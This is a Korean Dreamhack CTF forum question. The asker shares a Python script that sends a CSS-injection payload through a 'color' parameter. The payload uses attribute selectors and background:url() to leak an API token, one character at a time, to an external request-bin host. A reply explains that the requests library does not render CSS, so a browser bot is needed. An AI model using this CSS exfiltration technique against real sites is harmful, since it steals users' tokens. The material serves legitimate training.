get방식으로 요청할때

안녕하세요 문제는 풀었는데 질문있어서 글 작성합니다
일단 API Token을 가져와야한다는걸 파악해서 mypage에서 잘 작동하나 시험할려고 아래 코드를 짜봤습니다.

from requests import get
from tqdm import tqdm

host = "http://host3.dreamhack.games:18582"

strings = "abcdefghijklmnopqrstuvwxyz"
cookie = {'session' : 'eyJ1aWQiOjMsInVzZXJuYW1lIjoiZ3Vlc3QifQ.ZpjuBQ.1kv9vUVX0h68xRqn9hRF3rNrCQY'}
for s in tqdm(strings):
    query = "white;} input[id=InputApitoken][value^="+s+"] {background: url(https://gaqsbus.request.dreamhack.games/"+s+")"
    r = get(f"{host}/mypage?color={query}", cookies = cookie)
    print(s)

그런데 이 payload로 웹상에서 그냥 url에 복붙해서 하면 요청이 잘 들어오는데
파이썬 코드로 위와같이 짜고 돌려보면 요청이 안들어오더라구요....?
혹시 해서 r.text도 확인해봤는데 style태그엔 페이로드가 잘 들어간걸 확인했습니다.
/report로 post요청 보내는 코드를 짜서 해보면 요건또 요청이 잘 들어와서 일단 풀긴 풀었는데
혹시 위 코드 어느 부분에서 잘못된건지 알 수 있을까요?

#web
작성자 정보
답변 1
avatar
hoppi_
대표 업적 없음

안녕하세요 프레딕님
requests 모듈은 get이나 post로 요청을 하면 단순히 HTML 문서를 보여주는 역할을 하며, 브라우저를 통한 접근이 아닙니다. 따라서 스타일 태그나 자바스크립트와 같이 브라우저 단에서 랜더링 되는 것은 requests 모듈을 통해서 실행시킬 수 없습니다. 따라서 봇(selenium)을 통한 접근과 단순히 requests 모듈을 이용하는 것은 차이가 있습니다.

2024.07.29. 09:31
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기